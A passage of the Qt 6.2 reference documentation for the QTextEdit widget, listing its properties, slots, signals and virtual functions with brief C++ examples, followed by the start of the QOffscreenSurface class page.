 The default mode is [WidgetWidth](qtextedit#LineWrapMode-enum) which causes words to be wrapped at the right edge of the text edit. Wrapping occurs at whitespace, keeping whole words intact. If you want wrapping to occur within words use [setWordWrapMode](qtextedit#wordWrapMode-prop)(). If you set a wrap mode of [FixedPixelWidth](qtextedit#LineWrapMode-enum) or [FixedColumnWidth](qtextedit#LineWrapMode-enum) you should also call [setLineWrapColumnOrWidth](qtextedit#lineWrapColumnOrWidth-prop)() with the width you want.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QTextEdit::LineWrapMode  | **lineWrapMode**() const |
|  void  | **setLineWrapMode**(QTextEdit::LineWrapMode *mode*) |

 **See also** [lineWrapColumnOrWidth](qtextedit#lineWrapColumnOrWidth-prop).

 ### 
`[since 5.14]` markdown : [QString](qstring)

 This property provides a Markdown interface to the text of the text edit.

 `toMarkdown()` returns the text of the text edit as "pure" Markdown, without any embedded HTML formatting. Some features that [QTextDocument](qtextdocument) supports (such as the use of specific colors and named fonts) cannot be expressed in "pure" Markdown, and they will be omitted.

 `setMarkdown()` changes the text of the text edit. Any previous text is removed and the undo/redo history is cleared. The input text is interpreted as rich text in Markdown format.

 Parsing of HTML included in the *markdown* string is handled in the same way as in [setHtml](qtextedit#html-prop); however, Markdown formatting inside HTML blocks is not supported.

 Some features of the parser can be enabled or disabled via the *features* argument:

 

| Constant | Description |
| --- | --- |
| `MarkdownNoHTML` | Any HTML tags in the Markdown text will be discarded |
| `MarkdownDialectCommonMark` | The parser supports only the features standardized by CommonMark |
| `MarkdownDialectGitHub` | The parser supports the GitHub dialect |

 The default is `MarkdownDialectGitHub`.

 This property was introduced in Qt 5.14.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **toMarkdown**(QTextDocument::MarkdownFeatures *features* = QTextDocument::MarkdownDialectGitHub) const |
|  void  | **setMarkdown**(const QString &*markdown*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[textChanged](qtextedit#textChanged)**() |

 **See also** [plainText](qtextedit#plainText-prop), [html](qtextedit#html-prop), [QTextDocument::toMarkdown](qtextdocument#toMarkdown)(), and [QTextDocument::setMarkdown](qtextdocument#setMarkdown)().

 ### 
overwriteMode : bool

 This property holds whether text entered by the user will overwrite existing text

 As with many text editors, the text editor widget can be configured to insert or overwrite existing text with new text entered by the user.

 If this property is `true`, existing text is overwritten, character-for-character by new text; otherwise, text is inserted at the cursor position, displacing existing text.

 By default, this property is `false` (new text does not overwrite existing text).

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **overwriteMode**() const |
|  void  | **setOverwriteMode**(bool *overwrite*) |

 ### 
`[since 5.2]` placeholderText : [QString](qstring)

 This property holds the editor placeholder text

 Setting this property makes the editor display a grayed-out placeholder text as long as the [document](qtextedit#document-prop)() is empty.

 By default, this property contains an empty string.

 This property was introduced in Qt 5.2.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **placeholderText**() const |
|  void  | **setPlaceholderText**(const QString &*placeholderText*) |

 **See also** [document](qtextedit#document-prop)().

 ### 
plainText : [QString](qstring)

 This property holds the text editor's contents as plain text.

 Previous contents are removed and undo/redo history is reset when the property is set. [currentCharFormat](qtextedit#currentCharFormat)() is also reset, unless [textCursor](qtextedit#textCursor)() is already at the beginning of the document.

 If the text edit has another content type, it will not be replaced by plain text if you call [toPlainText](qtextedit#toPlainText)(). The only exception to this is the non-break space, *nbsp;*, that will be converted into standard space.

 By default, for an editor with no contents, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **[toPlainText](qtextedit#toPlainText)**() const |
|  void  | **[setPlainText](qtextedit#setPlainText)**(const QString &*text*) |

 **See also** [html](qtextedit#html-prop).

 ### 
readOnly : bool

 This property holds whether the text edit is read-only

 In a read-only text edit the user can only navigate through the text and select text; modifying the text is not possible.

 This property's default is false.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isReadOnly**() const |
|  void  | **setReadOnly**(bool *ro*) |

 ### 
tabChangesFocus : bool

 This property holds whether **Tab** changes focus or is accepted as input

 In some occasions text edits should not allow the user to input tabulators or change indentation using the **Tab** key, as this breaks the focus chain. The default is false.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **tabChangesFocus**() const |
|  void  | **setTabChangesFocus**(bool *b*) |

 ### 
`[since 5.10]` tabStopDistance : [qreal](qtglobal#qreal-typedef)

 This property holds the tab stop distance in pixels

 By default, this property contains a value of 80 pixels.

 Do not set a value less than the [horizontalAdvance](qfontmetrics#horizontalAdvance)() of the [QChar::VisualTabCharacter](qchar#SpecialCharacter-enum) character, otherwise the tab-character will be drawn incompletely.

 This property was introduced in Qt 5.10.

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **tabStopDistance**() const |
|  void  | **setTabStopDistance**(qreal *distance*) |

 **See also** [QTextOption::ShowTabsAndSpaces](qtextoption#Flag-enum) and [QTextDocument::defaultTextOption](qtextdocument#defaultTextOption).

 ### 
textInteractionFlags : [Qt::TextInteractionFlags](qt#TextInteractionFlag-enum)

 Specifies how the widget should interact with user input.

 The default value depends on whether the [QTextEdit](qtextedit) is read-only or editable, and whether it is a [QTextBrowser](qtextbrowser) or not.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::TextInteractionFlags  | **textInteractionFlags**() const |
|  void  | **setTextInteractionFlags**(Qt::TextInteractionFlags *flags*) |

 ### 
undoRedoEnabled : bool

 This property holds whether undo and redo are enabled.

 Users are only able to undo or redo actions if this property is true, and if there is an action that can be undone (or redone).

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isUndoRedoEnabled**() const |
|  void  | **setUndoRedoEnabled**(bool *enable*) |

 ### 
wordWrapMode : [QTextOption::WrapMode](qtextoption#WrapMode-enum)

 This property holds the mode [QTextEdit](qtextedit) will use when wrapping text by words

 By default, this property is set to [QTextOption::WrapAtWordBoundaryOrAnywhere](qtextoption#WrapMode-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QTextOption::WrapMode  | **wordWrapMode**() const |
|  void  | **setWordWrapMode**(QTextOption::WrapMode *policy*) |

 **See also** [QTextOption::WrapMode](qtextoption#WrapMode-enum).

  Member Function Documentation
-----------------------------

 ### QTextEdit::QTextEdit(const [QString](qstring) &*text*, [QWidget](qwidget#QWidget) \**parent* = nullptr)

 Constructs a QTextEdit with parent *parent*. The text edit will display the text *text*. The text is interpreted as html.

 ### QTextEdit::QTextEdit([QWidget](qwidget#QWidget) \**parent* = nullptr)

 Constructs an empty QTextEdit with parent *parent*.

 ### 
`[slot]` void QTextEdit::append(const [QString](qstring) &*text*)

 Appends a new paragraph with *text* to the end of the text edit.

  **Note:** The new paragraph appended will have the same character format and block format as the current paragraph, determined by the position of the cursor.

  **See also** [currentCharFormat](qtextedit#currentCharFormat)() and [QTextCursor::blockFormat](qtextcursor#blockFormat)().

 ### 
`[slot]` void QTextEdit::clear()

 Deletes all the text in the text edit.

 Notes:

 * The undo/redo history is also cleared.
* [currentCharFormat](qtextedit#currentCharFormat)() is reset, unless [textCursor](qtextedit#textCursor)() is already at the beginning of the document.

 **See also** [cut](qtextedit#cut)(), [setPlainText](qtextedit#setPlainText)(), and [setHtml](qtextedit#html-prop)().

 ### 
`[slot]` void QTextEdit::copy()

 Copies any selected text to the clipboard.

 **See also** [copyAvailable](qtextedit#copyAvailable)().

 ### 
`[signal]` void QTextEdit::copyAvailable(bool *yes*)

 This signal is emitted when text is selected or de-selected in the text edit.

 When text is selected this signal will be emitted with *yes* set to true. If no text has been selected or if the selected text is de-selected this signal is emitted with *yes* set to false.

 If *yes* is true then [copy](qtextedit#copy)() can be used to copy the selection to the clipboard. If *yes* is false then [copy](qtextedit#copy)() does nothing.

 **See also** [selectionChanged](qtextedit#selectionChanged)().

 ### 
`[signal]` void QTextEdit::currentCharFormatChanged(const [QTextCharFormat](qtextcharformat) &*f*)

 This signal is emitted if the current character format has changed, for example caused by a change of the cursor position.

 The new format is *f*.

 **See also** [setCurrentCharFormat](qtextedit#setCurrentCharFormat)().

 ### 
`[signal]` void QTextEdit::cursorPositionChanged()

 This signal is emitted whenever the position of the cursor changed.

 ### 
`[slot]` void QTextEdit::cut()

 Copies the selected text to the clipboard and deletes it from the text edit.

 If there is no selected text nothing happens.

 **See also** [copy](qtextedit#copy)() and [paste](qtextedit#paste)().

 ### 
`[slot]` void QTextEdit::insertHtml(const [QString](qstring) &*text*)

 Convenience slot that inserts *text* which is assumed to be of html formatting at the current cursor position.

 It is equivalent to:

 
```
edit->textCursor().insertHtml(fragment);
```
  **Note:** When using this function with a style sheet, the style sheet will only apply to the current block in the document. In order to apply a style sheet throughout a document, use [QTextDocument::setDefaultStyleSheet](qtextdocument#defaultStyleSheet-prop)() instead.

  ### 
`[slot]` void QTextEdit::insertPlainText(const [QString](qstring) &*text*)

 Convenience slot that inserts *text* at the current cursor position.

 It is equivalent to

 
```
edit->textCursor().insertText(text);
```
 ### 
`[slot]` void QTextEdit::paste()

 Pastes the text from the clipboard into the text edit at the current cursor position.

 If there is no text in the clipboard nothing happens.

 To change the behavior of this function, i.e. to modify what [QTextEdit](qtextedit) can paste and how it is being pasted, reimplement the virtual [canInsertFromMimeData](qtextedit#canInsertFromMimeData)() and [insertFromMimeData](qtextedit#insertFromMimeData)() functions.

 **See also** [cut](qtextedit#cut)() and [copy](qtextedit#copy)().

 ### 
`[slot]` void QTextEdit::redo()

 Redoes the last operation.

 If there is no operation to redo, i.e. there is no redo step in the undo/redo history, nothing happens.

 **See also** [undo](qtextedit#undo)().

 ### 
`[signal]` void QTextEdit::redoAvailable(bool *available*)

 This signal is emitted whenever redo operations become available (*available* is true) or unavailable (*available* is false).

 ### 
`[slot]` void QTextEdit::scrollToAnchor(const [QString](qstring) &*name*)

 Scrolls the text edit so that the anchor with the given *name* is visible; does nothing if the *name* is empty, or is already visible, or isn't found.

 ### 
`[slot]` void QTextEdit::selectAll()

 Selects all text.

 **See also** [copy](qtextedit#copy)(), [cut](qtextedit#cut)(), and [textCursor](qtextedit#textCursor)().

 ### 
`[signal]` void QTextEdit::selectionChanged()

 This signal is emitted whenever the selection changes.

 **See also** [copyAvailable](qtextedit#copyAvailable)().

 ### 
`[slot]` void QTextEdit::setAlignment([Qt::Alignment](qt#AlignmentFlag-enum) *a*)

 Sets the alignment of the current paragraph to *a*. Valid alignments are [Qt::AlignLeft](qt#AlignmentFlag-enum), [Qt::AlignRight](qt#AlignmentFlag-enum), [Qt::AlignJustify](qt#AlignmentFlag-enum) and [Qt::AlignCenter](qt#AlignmentFlag-enum) (which centers horizontally).

 **See also** [alignment](qtextedit#alignment)().

 ### 
`[slot]` void QTextEdit::setCurrentFont(const [QFont](qfont) &*f*)

 Sets the font of the current format to *f*.

 **See also** [currentFont](qtextedit#currentFont)(), [setFontPointSize](qtextedit#setFontPointSize)(), and [setFontFamily](qtextedit#setFontFamily)().

 ### 
`[slot]` void QTextEdit::setFontFamily(const [QString](qstring) &*fontFamily*)

 Sets the font family of the current format to *fontFamily*.

 **See also** [fontFamily](qtextedit#fontFamily)() and [setCurrentFont](qtextedit#setCurrentFont)().

 ### 
`[slot]` void QTextEdit::setFontItalic(bool *italic*)

 If *italic* is true, sets the current format to italic; otherwise sets the current format to non-italic.

 **See also** [fontItalic](qtextedit#fontItalic)().

 ### 
`[slot]` void QTextEdit::setFontPointSize([qreal](qtglobal#qreal-typedef) *s*)

 Sets the point size of the current format to *s*.

 Note that if *s* is zero or negative, the behavior of this function is not defined.

 **See also** [fontPointSize](qtextedit#fontPointSize)(), [setCurrentFont](qtextedit#setCurrentFont)(), and [setFontFamily](qtextedit#setFontFamily)().

 ### 
`[slot]` void QTextEdit::setFontUnderline(bool *underline*)

 If *underline* is true, sets the current format to underline; otherwise sets the current format to non-underline.

 **See also** [fontUnderline](qtextedit#fontUnderline)().

 ### 
`[slot]` void QTextEdit::setFontWeight(int *weight*)

 Sets the font weight of the current format to the given *weight*, where the value used is in the range defined by the [QFont::Weight](qfont#Weight-enum) enum.

 **See also** [fontWeight](qtextedit#fontWeight)(), [setCurrentFont](qtextedit#setCurrentFont)(), and [setFontFamily](qtextedit#setFontFamily)().

 ### 
`[slot]` void QTextEdit::setPlainText(const [QString](qstring) &*text*)

 Changes the text of the text edit to the string *text*. Any previous text is removed.

 Notes:

 * *text* is interpreted as plain text.
* The undo/redo history is also cleared.
* [currentCharFormat](qtextedit#currentCharFormat)() is reset, unless [textCursor](qtextedit#textCursor)() is already at the beginning of the document.

 **Note:** Setter function for property [plainText](qtextedit#plainText-prop). 

 **See also** [toPlainText](qtextedit#toPlainText)().

 ### 
`[slot]` void QTextEdit::setText(const [QString](qstring) &*text*)

 Sets the text edit's *text*. The text can be plain text or HTML and the text edit will try to guess the right format.

 Use [setHtml](qtextedit#html-prop)() or [setPlainText](qtextedit#setPlainText)() directly to avoid text edit's guessing.

 **See also** [toPlainText](qtextedit#toPlainText)() and [toHtml](qtextedit#html-prop)().

 ### 
`[slot]` void QTextEdit::setTextBackgroundColor(const [QColor](qcolor) &*c*)

 Sets the text background color of the current format to *c*.

 **See also** [textBackgroundColor](qtextedit#textBackgroundColor)().

 ### 
`[slot]` void QTextEdit::setTextColor(const [QColor](qcolor) &*c*)

 Sets the text color of the current format to *c*.

 **See also** [textColor](qtextedit#textColor)().

 ### 
`[signal]` void QTextEdit::textChanged()

 This signal is emitted whenever the document's content changes; for example, when text is inserted or deleted, or when formatting is applied.

 **Note:** Notifier signal for property [html](qtextedit#html-prop). Notifier signal for property [markdown](qtextedit#markdown-prop). 

 ### 
`[slot]` void QTextEdit::undo()

 Undoes the last operation.

 If there is no operation to undo, i.e. there is no undo step in the undo/redo history, nothing happens.

 **See also** [redo](qtextedit#redo)().

 ### 
`[signal]` void QTextEdit::undoAvailable(bool *available*)

 This signal is emitted whenever undo operations become available (*available* is true) or unavailable (*available* is false).

 ### 
`[slot]` void QTextEdit::zoomIn(int *range* = 1)

 Zooms in on the text by making the base font size *range* points larger and recalculating all font sizes to be the new size. This does not change the size of any images.

 **See also** [zoomOut](qtextedit#zoomOut)().

 ### 
`[slot]` void QTextEdit::zoomOut(int *range* = 1)

 Zooms out on the text by making the base font size *range* points smaller and recalculating all font sizes to be the new size. This does not change the size of any images.

 **See also** [zoomIn](qtextedit#zoomIn)().

 ### 
`[virtual]` QTextEdit::~QTextEdit()

 Destructor.

 ### 
[Qt::Alignment](qt#AlignmentFlag-enum) QTextEdit::alignment() const

 Returns the alignment of the current paragraph.

 **See also** [setAlignment](qtextedit#setAlignment)().

 ### 
[QString](qstring) QTextEdit::anchorAt(const [QPoint](qpoint) &*pos*) const

 Returns the reference of the anchor at position *pos*, or an empty string if no anchor exists at that point.

 ### 
`[virtual protected]` bool QTextEdit::canInsertFromMimeData(const [QMimeData](qmimedata) \**source*) const

 This function returns `true` if the contents of the MIME data object, specified by *source*, can be decoded and inserted into the document. It is called for example when during a drag operation the mouse enters this widget and it is necessary to determine whether it is possible to accept the drag and drop operation.

 Reimplement this function to enable drag and drop support for additional MIME types.

 ### 
bool QTextEdit::canPaste() const

 Returns whether text can be pasted from the clipboard into the textedit.

 ### 
`[override virtual protected]` void QTextEdit::changeEvent([QEvent](qevent) \**e*)

 Reimplements: [QFrame::changeEvent](qframe#changeEvent)(QEvent \*ev).

 ### 
`[override virtual protected]` void QTextEdit::contextMenuEvent([QContextMenuEvent](qcontextmenuevent) \**event*)

 Reimplements: [QAbstractScrollArea::contextMenuEvent](qabstractscrollarea#contextMenuEvent)(QContextMenuEvent \*e).

 Shows the standard context menu created with [createStandardContextMenu](qtextedit#createStandardContextMenu)().

 If you do not want the text edit to have a context menu, you can set its [contextMenuPolicy](qwidget#contextMenuPolicy-prop) to [Qt::NoContextMenu](qt#ContextMenuPolicy-enum). If you want to customize the context menu, reimplement this function. If you want to extend the standard context menu, reimplement this function, call [createStandardContextMenu](qtextedit#createStandardContextMenu)() and extend the menu returned.

 Information about the event is passed in the *event* object.

 
```
void MyTextEdit::contextMenuEvent(QContextMenuEvent *event)
{
    QMenu *menu = createStandardContextMenu();
    menu->addAction(tr("My Menu Item"));
    //...
    menu->exec(event->globalPos());
    delete menu;
}
```
 ### 
`[virtual protected]` [QMimeData](qmimedata) \*QTextEdit::createMimeDataFromSelection() const

 This function returns a new MIME data object to represent the contents of the text edit's current selection. It is called when the selection needs to be encapsulated into a new [QMimeData](qmimedata) object; for example, when a drag and drop operation is started, or when data is copied to the clipboard.

 If you reimplement this function, note that the ownership of the returned [QMimeData](qmimedata) object is passed to the caller. The selection can be retrieved by using the [textCursor](qtextedit#textCursor)() function.

 ### 
[QMenu](qmenu) \*QTextEdit::createStandardContextMenu()

 This function creates the standard context menu which is shown when the user clicks on the text edit with the right mouse button. It is called from the default [contextMenuEvent](qtextedit#contextMenuEvent)() handler. The popup menu's ownership is transferred to the caller.

 We recommend that you use the createStandardContextMenu([QPoint](qpoint)) version instead which will enable the actions that are sensitive to where the user clicked.

 ### 
[QMenu](qmenu) \*QTextEdit::createStandardContextMenu(const [QPoint](qpoint) &*position*)

 This function creates the standard context menu which is shown when the user clicks on the text edit with the right mouse button. It is called from the default [contextMenuEvent](qtextedit#contextMenuEvent)() handler and it takes the *position* in document coordinates where the mouse click was. This can enable actions that are sensitive to the position where the user clicked. The popup menu's ownership is transferred to the caller.

 ### 
[QTextCharFormat](qtextcharformat) QTextEdit::currentCharFormat() const

 Returns the char format that is used when inserting new text.

 **See also** [setCurrentCharFormat](qtextedit#setCurrentCharFormat)().

 ### 
[QFont](qfont) QTextEdit::currentFont() const

 Returns the font of the current format.

 **See also** [setCurrentFont](qtextedit#setCurrentFont)(), [setFontFamily](qtextedit#setFontFamily)(), and [setFontPointSize](qtextedit#setFontPointSize)().

 ### 
[QTextCursor](qtextcursor) QTextEdit::cursorForPosition(const [QPoint](qpoint) &*pos*) const

 returns a [QTextCursor](qtextcursor) at position *pos* (in viewport coordinates).

 ### 
[QRect](qrect) QTextEdit::cursorRect(const [QTextCursor](qtextcursor) &*cursor*) const

 returns a rectangle (in viewport coordinates) that includes the *cursor*.

 ### 
[QRect](qrect) QTextEdit::cursorRect() const

 returns a rectangle (in viewport coordinates) that includes the cursor of the text edit.

 ### 
`[override virtual protected]` void QTextEdit::dragEnterEvent([QDragEnterEvent](qdragenterevent) \**e*)

 Reimplements: [QAbstractScrollArea::dragEnterEvent](qabstractscrollarea#dragEnterEvent)(QDragEnterEvent \*event).

 ### 
`[override virtual protected]` void QTextEdit::dragLeaveEvent([QDragLeaveEvent](qdragleaveevent) \**e*)

 Reimplements: [QAbstractScrollArea::dragLeaveEvent](qabstractscrollarea#dragLeaveEvent)(QDragLeaveEvent \*event).

 ### 
`[override virtual protected]` void QTextEdit::dragMoveEvent([QDragMoveEvent](qdragmoveevent) \**e*)

 Reimplements: [QAbstractScrollArea::dragMoveEvent](qabstractscrollarea#dragMoveEvent)(QDragMoveEvent \*event).

 ### 
`[override virtual protected]` void QTextEdit::dropEvent([QDropEvent](qdropevent) \**e*)

 Reimplements: [QAbstractScrollArea::dropEvent](qabstractscrollarea#dropEvent)(QDropEvent \*event).

 ### 
void QTextEdit::ensureCursorVisible()

 Ensures that the cursor is visible by scrolling the text edit if necessary.

 ### 
[QList](qlist)<[QTextEdit::ExtraSelection](qtextedit-extraselection)> QTextEdit::extraSelections() const

 Returns previously set extra selections.

 **See also** [setExtraSelections](qtextedit#setExtraSelections)().

 ### 
bool QTextEdit::find(const [QString](qstring) &*exp*, [QTextDocument::FindFlags](qtextdocument#FindFlag-enum) *options* = QTextDocument::FindFlags())

 Finds the next occurrence of the string, *exp*, using the given *options*. Returns `true` if *exp* was found and changes the cursor to select the match; otherwise returns `false`.

 ### 
`[since 5.13]` bool QTextEdit::find(const [QRegularExpression](qregularexpression) &*exp*, [QTextDocument::FindFlags](qtextdocument#FindFlag-enum) *options* = QTextDocument::FindFlags())

 This is an overloaded function.

 Finds the next occurrence, matching the regular expression, *exp*, using the given *options*. The [QTextDocument::FindCaseSensitively](qtextdocument#FindFlag-enum) option is ignored for this overload, use [QRegularExpression::CaseInsensitiveOption](qregularexpression#PatternOption-enum) instead.

 Returns `true` if a match was found and changes the cursor to select the match; otherwise returns `false`.

 This function was introduced in Qt 5.13.

 ### 
`[override virtual protected]` void QTextEdit::focusInEvent([QFocusEvent](qfocusevent) \**e*)

 Reimplements: [QWidget::focusInEvent](qwidget#focusInEvent)(QFocusEvent \*event).

 ### 
`[override virtual protected]` bool QTextEdit::focusNextPrevChild(bool *next*)

 Reimplements: [QWidget::focusNextPrevChild](qwidget#focusNextPrevChild)(bool next).

 ### 
`[override virtual protected]` void QTextEdit::focusOutEvent([QFocusEvent](qfocusevent) \**e*)

 Reimplements: [QWidget::focusOutEvent](qwidget#focusOutEvent)(QFocusEvent \*event).

 ### 
[QString](qstring) QTextEdit::fontFamily() const

 Returns the font family of the current format.

 **See also** [setFontFamily](qtextedit#setFontFamily)(), [setCurrentFont](qtextedit#setCurrentFont)(), and [setFontPointSize](qtextedit#setFontPointSize)().

 ### 
bool QTextEdit::fontItalic() const

 Returns `true` if the font of the current format is italic; otherwise returns false.

 **See also** [setFontItalic](qtextedit#setFontItalic)().

 ### 
[qreal](qtglobal#qreal-typedef) QTextEdit::fontPointSize() const

 Returns the point size of the font of the current format.

 **See also** [setFontFamily](qtextedit#setFontFamily)(), [setCurrentFont](qtextedit#setCurrentFont)(), and [setFontPointSize](qtextedit#setFontPointSize)().

 ### 
bool QTextEdit::fontUnderline() const

 Returns `true` if the font of the current format is underlined; otherwise returns false.

 **See also** [setFontUnderline](qtextedit#setFontUnderline)().

 ### 
int QTextEdit::fontWeight() const

 Returns the font weight of the current format.

 **See also** [setFontWeight](qtextedit#setFontWeight)(), [setCurrentFont](qtextedit#setCurrentFont)(), [setFontPointSize](qtextedit#setFontPointSize)(), and [QFont::Weight](qfont#Weight-enum).

 ### 
`[override virtual protected]` void QTextEdit::inputMethodEvent([QInputMethodEvent](qinputmethodevent) \**e*)

 Reimplements: [QWidget::inputMethodEvent](qwidget#inputMethodEvent)(QInputMethodEvent \*event).

 ### 
`[override virtual]` [QVariant](qvariant) QTextEdit::inputMethodQuery([Qt::InputMethodQuery](qt#InputMethodQuery-enum) *property*) const

 Reimplements: [QWidget::inputMethodQuery(Qt::InputMethodQuery query) const](qwidget#inputMethodQuery).

 ### 
`[virtual protected]` void QTextEdit::insertFromMimeData(const [QMimeData](qmimedata) \**source*)

 This function inserts the contents of the MIME data object, specified by *source*, into the text edit at the current cursor position. It is called whenever text is inserted as the result of a clipboard paste operation, or when the text edit accepts data from a drag and drop operation.

 Reimplement this function to enable drag and drop support for additional MIME types.

 ### 
`[override virtual protected]` void QTextEdit::keyPressEvent([QKeyEvent](qkeyevent) \**e*)

 Reimplements: [QAbstractScrollArea::keyPressEvent](qabstractscrollarea#keyPressEvent)(QKeyEvent \*e).

 ### 
`[override virtual protected]` void QTextEdit::keyReleaseEvent([QKeyEvent](qkeyevent) \**e*)

 Reimplements: [QWidget::keyReleaseEvent](qwidget#keyReleaseEvent)(QKeyEvent \*event).

 ### 
`[virtual invokable]` [QVariant](qvariant) QTextEdit::loadResource(int *type*, const [QUrl](qurl) &*name*)

 Loads the resource specified by the given *type* and *name*.

 This function is an extension of [QTextDocument::loadResource](qtextdocument#loadResource)().

 **Note:** This function can be invoked via the meta-object system and from QML. See [Q\_INVOKABLE](qobject#Q_INVOKABLE).

 **See also** [QTextDocument::loadResource](qtextdocument#loadResource)().

 ### 
void QTextEdit::mergeCurrentCharFormat(const [QTextCharFormat](qtextcharformat) &*modifier*)

 Merges the properties specified in *modifier* into the current character format by calling [QTextCursor::mergeCharFormat](qtextcursor#mergeCharFormat) on the editor's cursor. If the editor has a selection then the properties of *modifier* are directly applied to the selection.

 **See also** [QTextCursor::mergeCharFormat](qtextcursor#mergeCharFormat)().

 ### 
`[override virtual protected]` void QTextEdit::mouseDoubleClickEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QAbstractScrollArea::mouseDoubleClickEvent](qabstractscrollarea#mouseDoubleClickEvent)(QMouseEvent \*e).

 ### 
`[override virtual protected]` void QTextEdit::mouseMoveEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QAbstractScrollArea::mouseMoveEvent](qabstractscrollarea#mouseMoveEvent)(QMouseEvent \*e).

 ### 
`[override virtual protected]` void QTextEdit::mousePressEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QAbstractScrollArea::mousePressEvent](qabstractscrollarea#mousePressEvent)(QMouseEvent \*e).

 ### 
`[override virtual protected]` void QTextEdit::mouseReleaseEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QAbstractScrollArea::mouseReleaseEvent](qabstractscrollarea#mouseReleaseEvent)(QMouseEvent \*e).

 ### 
void QTextEdit::moveCursor([QTextCursor::MoveOperation](qtextcursor#MoveOperation-enum) *operation*, [QTextCursor::MoveMode](qtextcursor#MoveMode-enum) *mode* = QTextCursor::MoveAnchor)

 Moves the cursor by performing the given *operation*.

 If *mode* is [QTextCursor::KeepAnchor](qtextcursor#MoveMode-enum), the cursor selects the text it moves over. This is the same effect that the user achieves when they hold down the Shift key and move the cursor with the cursor keys.

 **See also** [QTextCursor::movePosition](qtextcursor#movePosition)().

 ### 
`[override virtual protected]` void QTextEdit::paintEvent([QPaintEvent](qpaintevent) \**event*)

 Reimplements: [QAbstractScrollArea::paintEvent](qabstractscrollarea#paintEvent)(QPaintEvent \*event).

 This event handler can be reimplemented in a subclass to receive paint events passed in *event*. It is usually unnecessary to reimplement this function in a subclass of [QTextEdit](qtextedit).

  **Warning:** The underlying text document must not be modified from within a reimplementation of this function.

  ### 
void QTextEdit::print([QPagedPaintDevice](qpagedpaintdevice) \**printer*) const

 Convenience function to print the text edit's document to the given *printer*. This is equivalent to calling the print method on the document directly except that this function also supports QPrinter::Selection as print range.

 **See also** [QTextDocument::print](qtextdocument#print)().

 ### 
`[override virtual protected]` void QTextEdit::resizeEvent([QResizeEvent](qresizeevent) \**e*)

 Reimplements: [QAbstractScrollArea::resizeEvent](qabstractscrollarea#resizeEvent)(QResizeEvent \*event).

 ### 
`[override virtual protected]` void QTextEdit::scrollContentsBy(int *dx*, int *dy*)

 Reimplements: [QAbstractScrollArea::scrollContentsBy](qabstractscrollarea#scrollContentsBy)(int dx, int dy).

 ### 
void QTextEdit::setCurrentCharFormat(const [QTextCharFormat](qtextcharformat) &*format*)

 Sets the char format that is be used when inserting new text to *format* by calling [QTextCursor::setCharFormat](qtextcursor#setCharFormat)() on the editor's cursor. If the editor has a selection then the char format is directly applied to the selection.

 **See also** [currentCharFormat](qtextedit#currentCharFormat)().

 ### 
void QTextEdit::setExtraSelections(const [QList](qlist)<[QTextEdit::ExtraSelection](qtextedit-extraselection)> &*selections*)

 This function allows temporarily marking certain regions in the document with a given color, specified as *selections*. This can be useful for example in a programming editor to mark a whole line of text with a given background color to indicate the existence of a breakpoint.

 **See also** [QTextEdit::ExtraSelection](qtextedit-extraselection) and [extraSelections](qtextedit#extraSelections)().

 ### 
void QTextEdit::setTextCursor(const [QTextCursor](qtextcursor) &*cursor*)

 Sets the visible *cursor*.

 **See also** [textCursor](qtextedit#textCursor)().

 ### 
`[override virtual protected]` void QTextEdit::showEvent([QShowEvent](qshowevent) \*)

 Reimplements: [QWidget::showEvent](qwidget#showEvent)(QShowEvent \*event).

 ### 
[QColor](qcolor) QTextEdit::textBackgroundColor() const

 Returns the text background color of the current format.

 **See also** [setTextBackgroundColor](qtextedit#setTextBackgroundColor)().

 ### 
[QColor](qcolor) QTextEdit::textColor() const

 Returns the text color of the current format.

 **See also** [setTextColor](qtextedit#setTextColor)().

 ### 
[QTextCursor](qtextcursor) QTextEdit::textCursor() const

 Returns a copy of the [QTextCursor](qtextcursor) that represents the currently visible cursor. Note that changes on the returned cursor do not affect [QTextEdit](qtextedit)'s cursor; use [setTextCursor](qtextedit#setTextCursor)() to update the visible cursor.

 **See also** [setTextCursor](qtextedit#setTextCursor)().

 ### 
[QString](qstring) QTextEdit::toPlainText() const

 [QString](qstring) QTextEdit::toPlainText() const

 Returns the text of the text edit as plain text.

 **Note:** Getter function for property [plainText](qtextedit#plainText-prop). 

 **See also** [QTextEdit::setPlainText](qtextedit#setPlainText)().

 ### 
`[override virtual protected]` void QTextEdit::wheelEvent([QWheelEvent](qwheelevent) \**e*)

 Reimplements: [QAbstractScrollArea::wheelEvent](qabstractscrollarea#wheelEvent)(QWheelEvent \*e).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtextedit.html>

QOffscreenSurface Class
=======================

 The QOffscreenSurface class represents an offscreen surface in the underlying platform. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QOffscreenSurface> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 5.1 |
|  Inherits: | [QObject](qobject) and [QSurface](qsurface) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qoffscreensurface-members.html)

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QOffscreenSurface](qoffscreensurface#QOffscreenSurface)**(QScreen \**targetScreen* = nullptr, QObject \**parent* = nullptr) |
|  virtual  | **[~QOffscreenSurface](qoffscreensurface#dtor.QOffscreenSurface)**() |
|  void  | **[create](qoffscreensurface#create)**() |
|  void  | **[destroy](qoffscreensurface#destroy)**() |
|  bool  | **[isValid](qoffscreensurface#isValid)**() const |
|  QNativeInterface \* | **[nativeInterface](qoffscreensurface#nativeInterface)**() const |
